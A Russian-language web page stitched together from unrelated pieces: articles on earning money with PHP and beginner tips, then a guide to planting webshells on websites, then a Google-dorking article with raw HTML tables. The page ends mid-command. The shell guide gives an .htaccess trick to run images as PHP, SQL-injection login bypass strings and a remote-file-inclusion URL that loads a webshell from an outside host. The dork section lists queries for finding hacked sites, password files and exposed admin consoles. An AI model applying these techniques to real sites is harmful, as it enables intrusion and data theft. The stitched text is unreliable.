Что такое PHP и как с его помощью можно заработать? Как заработать на знании PHP? Inurl php infos какой заработок.

От автора: привет, друзья! В данной статье мы с вами поговорим о языке программирования PHP. Узнаем, для чего он применяется, что с его помощью можно делать, и какое место он занимает в этапах разработки сайтов. Также в данной статье мы рассмотрим множество способов, как заработать, умея программировать на PHP.

Что такое PHP, и для чего он нужен?

PHP - это скриптовой язык, который очень активно применяется при разработке веб-приложений. PHP является одним из лидирующих языков, которые применяются в разработке динамических веб-сайтов.

PHP - это серверный язык программирования. Все скрипты, написанные на этом языке, выполняются на сервере с сайтом. Для изучения PHP, разработки и отладки сайтов и скриптов реальный сервер в интернете, конечно, можно не покупать. Для этих целей используются эмуляторы сервера, которые в виде программ просто устанавливаются на рабочий компьютер. А на сервере в интернете (хостинге) размещают уже готовые сайты и страницы с PHP скриптами. Кстати, почти все современные хостинги поддерживают язык PHP.

Популярность этого языка в области построения веб-сайтов определяется наличием большого набора встроенных средств для разработки веб-приложений. Основные из них:

автоматическое извлечение POST и GET-параметров, а также переменных окружения веб-сервера в предопределенные массивы;

взаимодействие с большим количеством различных систем управления базами данных (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape и Apache Derby, Informix, Ovrimos SQL, Lotus Notes, DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, Интерфейс PDO);

автоматизированная отправка HTTP-заголовков;

работа с cookies и сессиями;

работа с локальными и удаленными файлами, сокетами;

обработка файлов, загружаемых на сервер;

работа с XForms.

Давайте рассмотрим пример, где же на странице работает скрипт PHP. Возьмем, к примеру, форму подписки, в которую вы вписываете свое имя и email на многих сайтах. За внешний вид формы - цвета полей ввода и кнопки, изменение цвета кнопки по наведению и нажатию на нее и так далее - отвечает HTML и CSS. С помощью HTML5 можно сделать проверку правильности данных, введенных в форму - например, правильно ли заполнены поля email или телефона.

А после того как вы нажали кнопку «Подписаться», вызывается PHP скрипт, который получает введенные вами в форму данные. Скрипт записывает их в базу данных, генерирует и высылает вам на почту, указанную в форме, ссылку для подтверждения подписки, проверяет подтверждение подписки и присылает вам последующие письма. Все эти операции выполняются на сервере, и делается это с использованием языка программирования PHP.

Применение PHP в разработке сайтов

Чтобы создать сайт, нужно последовательно пройти несколько этапов:

Планирование. На этом этапе мы планируем будущий сайт: для кого и для чего мы его делаем, кто будет посещать сайт, чем его наполнять, что должно быть на сайте и так далее.

Дизайн. На этапе дизайна мы создаем в графическом редакторе внешний вид страниц сайта.

Верстка. На этапе верстки мы, используя HTML и CSS, верстаем из макетов, полученных на этапе дизайна, HTML-страницы будущего сайта.

Программирование. На этапе программирования автоматизируем процессы работы с сайтом. Программируем администраторскую часть сайта (админку), чтобы можно было добавлять, удалять, редактировать существующие страницы даже человеку, совершенно не знакомому с сайтостроением. Программируем, чтобы работал поиск и все формы подписки (если они есть) на сайте. Делаем так, чтобы вновь добавленная страница отображалась на сайте, и в меню автоматически появлялась ссылка на созданную страницу. Если на сайте используются голосование или опрос, то это тоже все программируется на PHP, на этапе программирования.

Если рассмотреть этап программирования более масштабного сайта, например, интернет-магазина - то здесь все еще шире и интереснее. В таком случае мы добавляем не только страницы, но еще и товары - основной контент интернет-магазина. Причем в админке нужно предусмотреть разбивку добавляемых товаров по различным категориям. Также должна быть возможность редактировать товар, менять его описание, цену, картинку и т.д.

Кроме этого, для интернет-магазина требуется программирование системы аналитики - чтобы можно было смотреть в админке, сколько было оформлено и оплачено заказов, на какую сумму, и какие товары были оплачены из каких категорий, и т. п. Причем должна быть возможность выводить подобные сводки за различные периоды. При программировании интернет-магазина часто также реализуется формирование отчетности по продажам для бухгалтерского учета и налоговой.

Вот почему этап, на котором используется язык программирования PHP, самый важный, самый длительный по времени и самый дорогой и высокооплачиваемый в разработке сайта. А разобравшись с программированием интернет-магазина, вы будете в состоянии создать скрипты на сайт практически любой сложности.

Популярность PHP

О популярности PHP говорит тот факт, что он используется на 83,1% среди всех сайтов, на которых удалось определить язык программирования серверной части.

Все самые популярные CMS, которые занимают первые места в рейтингах популярности (как платные, так и бесплатные: WordPress, Joomla, Drupal, Modx, Bitrix. Magento и др.) - написаны на языке программирования PHP.

Также о популярности языка программирования PHP свидетельствует множество созданных PHP-фреймворков, таких как Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 и другие. Существует огромное количество форумов и крупных сообществ - в целом по PHP, по каждому фреймворку и по каждой CMS в отдельности.
Еще добавлю, что самые крупные мировые сайты, например, Facebook, Wikipedia - также написаны на PHP.

Как, имея знания по PHP, можно заработать?

Учитывая популярность PHP, есть постоянный высокий спрос на PHP-программистов. Имея знания по PHP и умея программировать на этом языке, вы откроете новые возможности для заработка. Давайте рассмотрим основные из них, с помощью которых сегодня действительно можно зарабатывать:

Заработок на разработке скриптов. Все сайты постоянно развиваются, и для них периодически требуется написание новых скриптов, либо разработка дополнительного функционала, модулей и пр. За подобными разработками владельцы сайтов обращаются к PHP-разработчикам. Причем в данном случае можно зарабатывать двумя способами:

отслеживать заказы о поиске разработчика на фрилансе;

генерировать идеи для массовых скриптов. Имея идею скрипта, который точно будет востребован среди, например, владельцев интернет-магазинов, вы сможете самостоятельно разработать такой скрипт и продавать его владельцам интернет-магазинов;

Доработка готовых скриптов «на заказ». Здесь все просто - беретесь за доработку либо исправление какого-либо скрипта. Но в данном случае есть нюанс - изначально скрипт может быть сделан не очень качественно, и на его доработку может уйти времени больше, чем на написание скрипта «с нуля». Поэтому, если будете использовать подобный способ заработка, смотрите изначально очень внимательно на то, что вы будете дорабатывать и доделывать.

Разработка плагинов для CMS. В этом способе все то же самое, как и при заработке на скриптах. Часто для сайтов, созданных на готовых CMS, требуется написание какого-либо плагина, дополнения или расширения. И зарабатывать тут тоже можно двумя способами:

отслеживать заказы по разработке плагинов, дополнений и расширений на фрилансе;

разработать и продавать массовый плагин, который точно будет востребован на большинстве сайтов;

Свои и совместные проекты. Если у вас есть идея для проекта в интернете (стартапа), например, идея полезного сервиса или приложения, которое бы решало определенную проблему, то вы можете ее начать реализовывать. На начальном этапе это может быть просто даже как хобби, в дополнение к основной работе. Потом, когда будет видно, что хобби вырастает в большой проект, можно будет уделять ему больше времени.

Создание динамичных сайтов и движков под них. Также можно хорошо зарабатывать, разрабатывая сайты на заказ, работая на фрилансе либо в веб-студии.

Создание сайтов для себя. Вы можете создать сайт для себя, наполнить его полезным контентом - а когда на сайте будет достаточное количество посетителей, начать зарабатывать, размещая на нем платную рекламу или продвигая чьи-то продукты по партнерским программам.

Думаю, многих из вас посетила мысль о том, что все перечисленные выше методы заработка можно комбинировать. И это правильно! Вы можете создать сайт для себя и пассивно зарабатывать на продаже рекламы с него, плюс к этому создать скрипт или плагин и продавать его на специализированных площадках, зарабатывая на автопилоте с каждой продажи, и при этом еще можете работать в веб-студии. Почему нет? Конечно можно!

Сколько PHP-разработчик может зарабатывать?

С заработком PHP-программистов все индивидуально. Тут многое зависит от того, где работать, как работать, какой уровень знаний, какой опыт, квалификация, какими смежными дополнительными знаниями обладает разработчик и так далее. Поэтому никакой точной цифры тут в принципе быть не может. Но мы можем посмотреть, какую зарплату предлагают при поиске PHP-программистов в веб-студии, и сколько готовы платить за проект на биржах фриланса.

На изображении ниже показана предлагаемая оплата труда для PHP-программистов в веб-студии. Причем это оплаты труда PHP-программистам без опыта работы:

Если есть опыт работы, то зарабатывать можно гораздо больше. Ниже указаны зарплаты, предлагаемые PHP-программистам с опытом работы.

И на фрилансе сегодня тоже можно прилично зарабатывать:

Вывод

PHP - самый популярный язык программирования среди веб-разработчиков. Абсолютное большинство всех сайтов в интернете написаны на PHP. Имея знания и умея разрабатывать на этом языке программирования, можно зарабатывать хорошие деньги, причем доступно множество вариантов для заработка - от работы в веб-студии до разработки собственного проекта, стартапа.

С появлением компьютеров и интернета появилось множество дополнительных профессий.


Специалисты по программированию сейчас пользуются спросом, ведь через интернет запускается много разных проектов. Поэтому, всем абитуриентам стоит задуматься над тем, чтобы выбрать специальность, связанную с компьютерами.

Как заработать на знании PHP? В этой статье мы рассмотрим одно из направлений программирования. Скриптовый язык активно применяется для разработки приложений.

Технология актуальная уже много лет, а если научиться PHP, можно получать неплохие деньги. Самое главное, что спрос на специалистов из этой области огромный.

Сколько зарабатывает PHP программист?

Назвать точную сумму невозможно, ведь все работают в разных компаниях, а некоторые и вовсе трудятся на дому. В любом случае, активные работники получают неплохую зарплату.

Те, кто работает, не выходя из дома, получают ровно столько, сколько успеют выполнить заказов. Расценки в нише устанавливаются редко, чаще всего их обговаривают индивидуально.

Из плюсов работы PHP программистом стоит отметить серьезные перспективы и актуальность деятельности. Во времена, когда интернет проникает практически во все сферы, работать программистом реально выгодно.

17.02.07 5.4K

Хочу разместить в помощь начинающим php программистам небольшую памятку. Что и как нужно делать чтобы изучить php и начать зарабатывать на своем ремесле. Если читающие хотят дать свой совет — прошу в камменты.

* Начнем с одного полезного тезиса — изучить php можно не тратя абсолютно никаких денег. Все необходимые материалы по php можно найти в сети, все ответы на вопросы можно найти на форумах… не нужно ходить на курсы, не нужно покупать книги (вообще книги стоит покупать если, лень искать материал в интернете) , не нужно тратить никаких денег.
* Изобретайте велосипеды. Всегда пишите код самостоятельно — это поможет вам в дальнейшем. Если вам нужна гостевая книга — напишите ее, не используйте готовые варианты, даже если вы просмотрите и поймете ее код, это не заменит самого программирования, поиска багов, отладки, решения проблем, связанных с написанием. В последствии, когда вы станете профессионалом, можно и даже нужно будет использовать сторонний код, но на этапе изучения это окажет вам плохую услугу. Можно пользоваться примерами и использовать чужой код как способ решить задачу или найти правильный алгоритм.
* Создавайте “домашние странички”. Это хорошая тренировка. Создание и развитие своей “домашней страницы” заставит вас постоянно совершенствовать свои умения, искать пути для улучшения сайта, соревноваться с другими обладателями “домашних страниц”.
* Объединяйтесь в группы. Попробуйте создать какой-нибудь проект не один, а объединившись с другими программистами. Уменее работать в команде, понимать чужой код и правильно общаться с коллективом поможет вам найти хорошую работу. Многие фирмы ставят одним из главных требований при трудоустройстве — уменее работать в команде.
* Не бросайте проект на пол пути. Старайтесь всегда доводить начатый проект до конца. Даже если надобность в нем отпала. Чем больше у вас законченных проектов, тем больший список работ вы можете написать в своем резюме. А ведь именно на готовые и законченные вещи работодатель смотрит в первую очередь.
* Беритесь за “копеечную” работу. Если ваш послужной список не богат, не стоит отказываться от малооплачиваемой работы. Приведу пример из жизни, когда я только начинал программировать за деньги я вышел на работу в он-лайн игре. Предлагали в общем копейки — 2 000 в месяц. Но я взялся и по мере того как работал все больше изучал особенности веб программирования. Через семь месяцев моя зарплата была 10 000 рублей. А сколько опыта я приобрел — просто не счесть.
* Создавайте большие проекты. Наличие в вашем послужном списке больших проектов — огромный вам плюс.
* Не задерживайтесь на работе, если вам стало не интересно. Если ваша работа превратилась в рутину и не приносит ничего нового, никаких знаний — бросайте ее. Это путь в никуда. Всегда цепляйтесь только за интересные проекты.
* Повышайте свои “общие” знания. Не стоит зацикливаться только на php, сейчас работодатель требует от программиста не только создания кода, но и уменее верстать страницы, настраивать сервер, составлять документацию, работать с javascript и многое другое. По большому счету сейчас никому не нужны просто веб программисты, а нужны веб мастера.
* Изучайте новые технологии. Новые технологии, такие как Ajax, всегда будут вашим козырем. Они производят на работодателя магическое действие.

Пожалуй на сегодня хватит. Есть еще много советов, но я дам их в других постах, если будет спрос 🙂

Хорошо Плохо

Похожие статьи

Добрый день уважаемые господа! В данной статье я хотел бы затронуть очень важную тему, а именно шаблоны в PHP. В этой статье я приведу простой, но работающий пример “шаблонов”, также мы рассмотрим все за и против использования шаблонов.


В этой статье я хочу рассказать о чаще используемых способах заливки шелла на сайт. Web-shell - это некий вредоносный скрипт (программа), который злоумышленники используют для управления сайтами или серверами.

Способ 1
Найти на сайте форму для загрузки файлов/картинок. Допустим нам не удалось взломать админку сайта и мы пытаемся залить наш шелл с расширением.php.jpg . Если удалось, то мы увидим вместо картинки белое окно, мы кликаем правой кнопкой мыши и переходим по ссылке. В случае провала мы можем воспользоваться расширением chrome tamper data . Оно позволяет перехватить и изменить запрос как вы хотите. Если сайт проверяет, расширение файла, то сначала мы можем залить .htaccess файл с содержимым:
AddType application/x-httpd-php .jpg
Данная команда будет выполнять jpg файлы как php.
Подробная видеоинструкция:

Видеоинструкция по установке tamper data:


Способ 2
Воспользоваться программой для поиска админок на сайте - https://github.com/bdblackhat/admin-panel-finder . Когда программа нашла админку мы можем попробовать провести sql-injection. В поле логина и пароля сайта мы вбиваем код:

" or "1"="1 " OR 1=1/*

Если срабатывает, то мы попадаем в админку и действуем по 1 способу. Если же на сайте в панели администратора нет sql-injection, тогда мы можем попробовать сбрутить или же найти эксплоит под данную CMS.
Подробная видеоинструкция:


Способ 3
В 3 способе мы будем искать sql-injection на самом сайте. Мы может делать это вручную или же воспользуемся sqlmap . На форуме достаточно тем, как можно проводить инъекции, так что зайду издалека. Итак, вот мы уже нашли таблицу с логином и паролем админа расшифровываем хэши заходим в админку и радуемся. Но допустим мы не смогли расшифровать пароль и все накрылось медным тазом, тогда мы должны проверить привилегии нашего юзера. Проверяем привилегии и загружаем мини-шелл. По каким-то причинам когда я хочу вставить код сайт выдает ошбику.

Способ 4
4 способ подразумевает csrf атаку. В ниже приведенном коде нам нужно заменить http:// на ссылку нашей цели. Выбрать шелл и нажать кнопку upload.



Способ 5
Узнать как больше о вашей цели и подыскать эксплоит. Для этого есть очень интересный сайт - https://www.exploit-db.com . Никто и не отменял массовый взлом сайтов через уязвимости, но про это уже есть статья на форме.

Существует еще множество способов заливки шелла и рассказывать о каждом нет смысла. Если вы хотите потренироваться, то установите dvwa - это программа созданная для того, чтобы помочь профессионалам по безопасности протестировать их навыки и инструменты в легальном окружении.

Способ 6
Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение.

www.site.ru?page=home.html
Выполнив команду мы подгрузим страницу home,html. Теперь мы попробуем подгрузить вредоносный шелл.
www.site.ru?page=http:/hacker.ru/webshell.php
Дорк: Inurl:page=

Также есть способ найти уже залитый шелл с помощью perl

Любой поиск уязвимостей на веб-ресурсах начинается с разведки и сбора информации.
Разведка может быть как активной - брутфорс файлов и директорий сайта, запуск сканеров уязвимостей, ручной просмотр сайта, так и пассивной - поиск информации в разных поисковых системах. Иногда бывает так, что уязвимость становится известна еще до открытия первой страницы сайта.

Как такое возможно?
Поисковые роботы, безостановочно бродящие по просторам интернета, помимо информации, полезной обычному пользователю, часто фиксируют то, что может быть использовано злоумышленниками при атаке на веб-ресурс. Например, ошибки скриптов и файлы с чувствительной информацией (начиная от конфигурационных файлов и логов, заканчивая файлами с аутентификационными данными и бэкапами баз данных).
С точки зрения поискового робота сообщение об ошибке выполнения sql-запроса - это обычный текст, неотделимый, например, от описания товаров на странице. Если вдруг поисковый робот наткнулся на файл с расширением.sql, который почему-то оказался в рабочей папке сайта, то он будет воспринят как часть содержимого сайта и так же будет проиндексирован (включая, возможно, указанные в нём пароли).

Подобную информацию можно найти, зная устойчивые, часто уникальные, ключевые слова, которые помогают отделить «уязвимые страницы» от страниц, не содержащих уязвимости.
Огромная база специальных запросов с использованием ключевых слов (так называемых дорков) существует на exploit-db.com и известна под названием Google Hack Database.

Почему google?
Дорки ориентированы в первую очередь на google по двум причинам:
− наиболее гибкий синтаксис ключевых слов (приведен в Таблице 1) и специальных символов (приведен в Таблице 2);
− индекс google всё же более полный нежели у других поисковых систем;

Таблица 1 – Основные ключевые слова google

Ключевое слово
Смысл
Пример
site
Поиск только на указанном сайте. Учитывает только url
site:somesite.ru - найдет все страницы по данному домену и поддоменам
inurl
Поиск по словам, присутствующим в uri. В отличие от кл. слова “site”, ищет совпадения после имени сайта
inurl:news - найдет все страницы, где в uri встретится данное слово
intext
Поиск в теле страницы
intext:”пробки” - полностью аналогично обычному запросу “пробки”
intitle
Поиск в заголовке страницы. Текст, заключенный между тэгами <br></td> <td width="214">intitle:”index of” - найдет все страницы с листингом директории<br></td> </tr><tr><td width="214">ext<br></td> <td width="214">Поиск страниц с указанным расширением<br></td> <td width="214">ext:pdf - найдет все pdf-файлы<br></td> </tr><tr><td width="214">filetype<br></td> <td width="214">В настоящее время полностью аналогично кл. слову “ext”<br></td> <td width="214">filetype:pdf - аналогично<br></td> </tr><tr><td width="214">related<br></td> <td width="214">Поиск сайтов со схожей тематикой<br></td> <td width="214">related:google.ru - покажет свои аналоги<br></td> </tr><tr><td width="214">link<br></td> <td width="214">Поиск сайтов, ссылающихся на данный<br></td> <td width="214">link:somesite.ru - найдет все сайты, на которых есть ссылка на данный<br></td> </tr><tr><td width="214">define<br></td> <td width="214">Показать определение слова<br></td> <td width="214">define:0day - определение термина<br></td> </tr><tr><td width="214">cache<br></td> <td width="214">Показать содержимое страницы в кэше (если имеется)<br></td> <td width="214">cache:google.com - откроет страницу из кэша<br></td> </tr></tbody></table><p>Таблица 2 – Специальные символы запросов google<br></p><table><tbody><tr><td width="214"><b>Символ </b><br></td> <td width="214"><b>Смысл </b><br></td> <td width="214"><b>Пример </b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Точная фраза<br></td> <td width="214">intitle:«RouterOS router configuration page» - поиск роутеров<br></td> </tr><tr><td width="214">*<br></td> <td width="214">Любой текст<br></td> <td width="214">inurl:«bitrix*mcart» - поиск сайтов на bitrix с уязвимым модулем mcart<br></td> </tr><tr><td width="214">.<br></td> <td width="214">Любой символ<br></td> <td width="214">Index.of - аналогично запросу index of<br></td> </tr><tr><td width="214">-<br></td> <td width="214">Исключить слово<br></td> <td width="214">error -warning - показать все страницы, где есть error, но нет warning<br></td> </tr><tr><td width="214">..<br></td> <td width="214">Диапазон<br></td> <td width="214">cve 2006..2016 - показать уязвимости по годам начиная с 2006<br></td> </tr><tr><td width="214">|<br></td> <td width="214">Логическое «или»<br></td> <td width="214">linux | windows - показать страницы, где встречается либо первое либо второе слово<br></td> </tr></tbody></table><br> Стоит понимать, что любой запрос к поисковой системе - это поиск только по словам.<br> Бесполезно искать на странице мета-символы (кавычки, скобки, знаки пунктуации и т. п). Даже поиск по точной фразе, указанной в кавычках, - это поиск по словам, с последующим поиском точного совпадения уже в результатах.<p>Все дорки Google Hack Database разделены логически на 14 категорий и представлены в таблице 3.<br> Таблица 3 – Категории Google Hack Database<br></p><table><tbody><tr><td width="168"><b>Категория </b><br></td> <td width="190"><b>Что позволяет найти </b><br></td> <td width="284"><b>Пример </b><br></td> </tr><tr><td width="168">Footholds<br></td> <td width="190">Веб-шеллы, публичные файловые менеджеры<br></td> <td width="284">Найти все взломанные сайты, где залиты перечисленные вебшеллы:<br> (intitle:«phpshell» OR intitle:«c99shell» OR intitle:«r57shell» OR intitle:«PHP Shell » OR intitle:«phpRemoteView») `rwx` «uname»<br></td> </tr><tr><td width="168">Files containing usernames<br></td> <td width="190">Файлы реестра, конфигурационные файлы, логи, файлы, содержащие историю введенных команд<br></td> <td width="284">Найти все файлы реестра, содержащие информацию об аккаунтах:<br><i>filetype:reg reg +intext:«internet account manager» </i><br></td> </tr><tr><td width="168">Sensitive Directories<br></td> <td width="190">Каталоги с различной информацией (личные документы, конфиги vpn, скрытые репозитории и т.д.)<br></td> <td width="284">Найти все листинги директорий содержащих файлы, относящиеся к vpn:<br><i>«Config» intitle:«Index of» intext:vpn </i><br> Сайты, содержащие git-репозитории:<br><i>(intext:«index of /.git») («parent directory») </i><br></td> </tr><tr><td width="168">Web Server Detection<br></td> <td width="190">Версию и иную информацию о веб-сервере<br></td> <td width="284">Найти административные консоли сервера JBoss:<br><i>inurl:"/web-console/" intitle:«Administration Console» </i><br></td> </tr><tr><td width="168">Vulnerable Files<br></td> <td width="190">Скрипты, содержащие известные уязвимости<br></td> <td width="284">Найти сайты, использующие скрипт, позволяющий выгрузить произвольный файл с сервера:<br><i>allinurl:forcedownload.php?file= </i><br></td> </tr><tr><td width="168">Vulnerable Servers<br></td> <td width="190">Инсталляционные скрипты, веб-шеллы, открытые административные консоли и т.д<br></td> <td width="284">Найти открытые PHPMyAdmin консоли, запущенные от root:<br><i>intitle:phpMyAdmin «Welcome to phpMyAdmin ***» «running on * as root@*» </i><br></td> </tr><tr><td width="168">Error Messages<br></td> <td width="190">Различные ошибки и предупреждения часто раскрывающие важную информацию - начиная от версии CMS до паролей<br></td> <td width="284">Сайты, имеющие ошибки в выполнении sql-запросов к базе:<br><i>«Warning: mysql_query()» «invalid query» </i><br></td> </tr><tr><td width="168">Files containing juicy info<br></td> <td width="190">Сертификаты, бэкапы, электронные письмы, логи, sql-скрипты и т.д<br></td> <td width="284">Найти инициализационные sql-скрипты:<br><i>filetype:sql and «insert into» -site:github.com </i><br></td> </tr><tr><td width="168">Files containing passwords<br></td> <td width="190">Всё что может содержать пароли - логи, sql-скрипты и т.д<br></td> <td width="284">Логи, упоминающие пароли:<br><i>filetype: </i><i>log </i><i>intext: </i><i>password | </i><i>pass | </i><i>pw </i><br> sql-скрипты содержащие пароли:<br><i>ext: </i><i>sql </i><i>intext: </i><i>username </i><i>intext: </i><i>password </i><br></td> </tr><tr><td width="168">Sensitive Online Shopping Info<br></td> <td width="190">Информацию связанную с онлайн покупками<br></td> <td width="284">Найти пинкоды:<br><i>dcid= </i><i>bn= </i><i>pin </i><i>code= </i><br></td> </tr><tr><td width="168">Network or vulnerability data<br></td> <td width="190">Информацию, не относящуюся непосредственно к веб-ресурсу, но затрагивающую сеть либо прочие не веб-сервисы<br></td> <td width="284">Найти скрипты автоматической настройки прокси, содержащие информацию о внутренней сети:<br><i>inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl </i><br></td> </tr><tr><td width="168">Pages containing login portals<br></td> <td width="190">Страницы, содержащие формы входа<br></td> <td width="284">Веб-страницы saplogon:<br><i>intext:«2016 SAP AG. All rights reserved.» intitle:«Logon» </i><br></td> </tr><tr><td width="168">Various Online Devices<br></td> <td width="190">Принтеры, роутеры, системы мониторинга и т.д<br></td> <td width="284">Найти конфигурационную панель принтера:<br><i>intitle:" </i><i>hp </i><i>laserjet" </i><i>inurl: </i><i>SSI/ </i><i>Auth/ </i><i>set_ </i><i>config_ </i><i>deviceinfo. </i><i>htm </i><br></td> </tr><tr><td width="168">Advisories and Vulnerabilities<br></td> <td width="190">Сайты на уязвимых версиях CMS<br></td> <td width="284">Найти уязвимые плагины, через которые можно загрузить произвольный файл на сервер:<br><i>inurl:fckeditor -intext:«ConfigIsEnabled = False» intext:ConfigIsEnabled </i><br></td> </tr></tbody></table><br> Дорки чаще ориентированы на поиск по всем сайтам сети интернет. Но ни что не мешает ограничить область поиска на каком-либо сайте или сайтах.<br> Каждый запрос к google можно сосредоточить на определённом сайте, добавив к запросу ключевое слово «site:somesite.com». Данное ключевое слово может быть дописано к любому дорку.<p><b>Автоматизация поиска уязвимостей </b><br> Так родилась идея написать простенькую утилиту, автоматизирующую поиск уязвимостей с помощью поисковой системы (google) и опирающуюся на Google Hack Database.</p><p>Утилита представляет из себя скрипт, написанный на nodejs с использованием phantomjs. Если быть точным, то скрипт интерпретируется самим phantomjs.<br> Phantomjs - это полноценный веб-браузер без графического интерфейса, управляемый с помощью js-кода и обладающий удобным API.<br> Утилита получила вполне понятное название – dorks. Запустив её в командной строке (без опций) получаем короткую справку с несколькими примерами использования:<br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy><br> Рисунок 1 - Список основных опций dorks</p><p>Общий синтаксис утилиты: dork «команда» «список опций».<br> Подробное описание всех опций представлено в таблице 4. </p><p>Таблица 4 – Синтаксис dorks<br></p><table border="1"><tbody><tr><td width="214"><b>Команда </b><br></td> <td width="214"><b>Опция </b><br></td> <td width="214"><b>Описание </b><br></td> </tr><tr><td rowspan="4" width="214">ghdb<br></td> <td width="214">-l<br></td> <td width="214">Вывести нумерованный список категорий дорков Google Hack Database<br></td> </tr><tr><td width="214">-c «номер или название категории»<br></td> <td width="214">Загрузить дорки указанной категории по номеру или названию<br></td> </tr><tr><td width="214">-q «фраза»<br></td> <td width="214">Загрузить дорки, найденные по запросу<br></td> </tr><tr><td width="214">-o «файл»<br></td> <td width="214">Сохранить результат в файл (только вместе с опциями -c|-q)<br></td> </tr><tr><td rowspan="8" width="214">google<br></td> <td width="214">-d «дорк»<br></td> <td width="214">Задать произвольный дорк (опция может использоваться много раз, допускается сочетание с опцией -D)<br></td> </tr><tr><td width="214">-D «файл»<br></td> <td width="214">Использовать дорки из файла<br></td> </tr><tr><td width="214">-s «сайт»<br></td> <td width="214">Задать сайт (опция может использоваться много раз, допускается сочетание с опцией -S)<br></td> </tr><tr><td width="214">-S «файл»<br></td> <td width="214">Использовать сайты из файла (перебор дорков будет выполнен по каждому сайту независимо)<br></td> </tr><tr><td width="214">-f «фильтр»<br></td> <td width="214">Задать дополнительные ключевые слова (будет добавлено к каждому дорку)<br></td> </tr><tr><td width="214">-t «количество мс»<br></td> <td width="214">Интервал между запросами к google<br></td> </tr><tr><td width="214">-T «количество мс»<br></td> <td width="214">Таймаут, если встретилась каптча<br></td> </tr><tr><td width="214">-o «файл»<br></td> <td width="214">Сохранить результат в файл (будут сохранены только те дорки, по которым что-то нашлось)<br></td> </tr></tbody></table><br> С помощью команды ghdb можно получить все дорки с exploit-db по произвольному запросу, либо указать целиком всю категорию. Если указать категорию 0 - то будет выгружена вся база (около 4.5 тысяч дорков).<p>Список категорий доступных на данный момент представлен на рисунке 2.<br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy></p><p>Рисунок 2 - Список доступных категорий дорков GHDB</p><p>Командой google будет произведена подстановка каждого дорка в поисковик google и проанализирован результат на предмет совпадений. Дорки по которым что-то нашлось будут сохранены в файл.<br> Утилита поддерживает разные режимы поиска:<br> 1 дорк и 1 сайт;<br> 1 дорк и много сайтов;<br> 1 сайт и много дорков;<br> много сайтов и много дорков;<br> Список дорков и сайтов можно задать как через аргумент, так и через файл.</p><p><b>Демонстрация работы </b><br> Попробуем поискать какие-либо уязвимости на примере поиска сообщений об ошибках. По команде: dorks ghdb –c 7 –o errors.dorks будут загружены все известные дорки категории “Error Messages” как показано на рисунке 3.<br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy><br> Рисунок 3 – Загрузка всех известных дорков категории “Error Messages”</p><p>Дорки загружены и сохранены в файл. Теперь остается «натравить» их на какой-нибудь сайт (см. рисунок 4).<br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy><br> Рисунок 4 – Поиск уязвимостей интересуемого сайта в кэше google</p><p>Спустя какое-то время на исследуемом сайте обнаруживается несколько страниц, содержащих ошибки (см. рисунок 5).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy><br> Рисунок 5 – Найденные сообщения об ошибках</p><p>Итог, в файле result.txt получаем полный список дорков, приводящих к появлению ошибки.<br> На рисунке 6 представлен результат поиска ошибок сайта.<br><br> Рисунок 6 – Результат поиска ошибок</p><p>В кэше по данному дорку выводится полный бэктрейс, раскрывающих абсолютные пути скриптов, систему управления содержимым сайта и тип базы данных (см. рисунок 7).<br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy><br> Рисунок 7 – раскрытие информации об устройстве сайта </p><p>Однако стоит учитывать, что не все дорки из GHDB дают истинный результат. Так же google может не найти точного совпадения и показать похожий результат.</p><p>В таком случае разумнее использовать свой персональный список дорков. Например, всегда стоит поискать файлы с «необычными» расширениями, примеры которых приведены на рисунке 8.<br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy><br> Рисунок 8 – Список расширений файлов, не характерных для обычного веб-ресурса</p><p>В итоге, по команде dorks google –D extensions.txt –f банк, с самого первого запроса google начинает отдавать сайты с «необычными» расширениями файлов (см. рисунок 9). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy><br> Рисунок 9 – Поиск «нехороших» типов файлов на сайтах банковской тематики</p><p>Стоит иметь ввиду, что google не воспринимает запросы длиннее 32 слов.</p><p>С помощью команды dorks google –d intext:”error|warning|notice|syntax” –f университет <br> можно поискать ошибки интерпретатора PHP на сайтах учебной тематики (см. рисунок 10). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy><br> Рисунок 10 – Поиск PHP-ошибок времени исполнения</p><p>Иногда пользоваться какой-то одной или двумя категориями дорков не удобно.<br> Например, если известно, что сайт работает на движке wordpress, то нужны дорки именно по wordpress. В таком случае удобно воспользоваться поиском Google Hack Database. Команда dorks ghdb –q wordpress –o wordpress_dorks.txt загрузит все дорки по Wordpress, как показано на рисунке 11:<br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy><br> Рисунок 11 – Поиск дорков, относящихся к Wordpress</p><p>Снова вернемся к банкам и командой dorks google –D 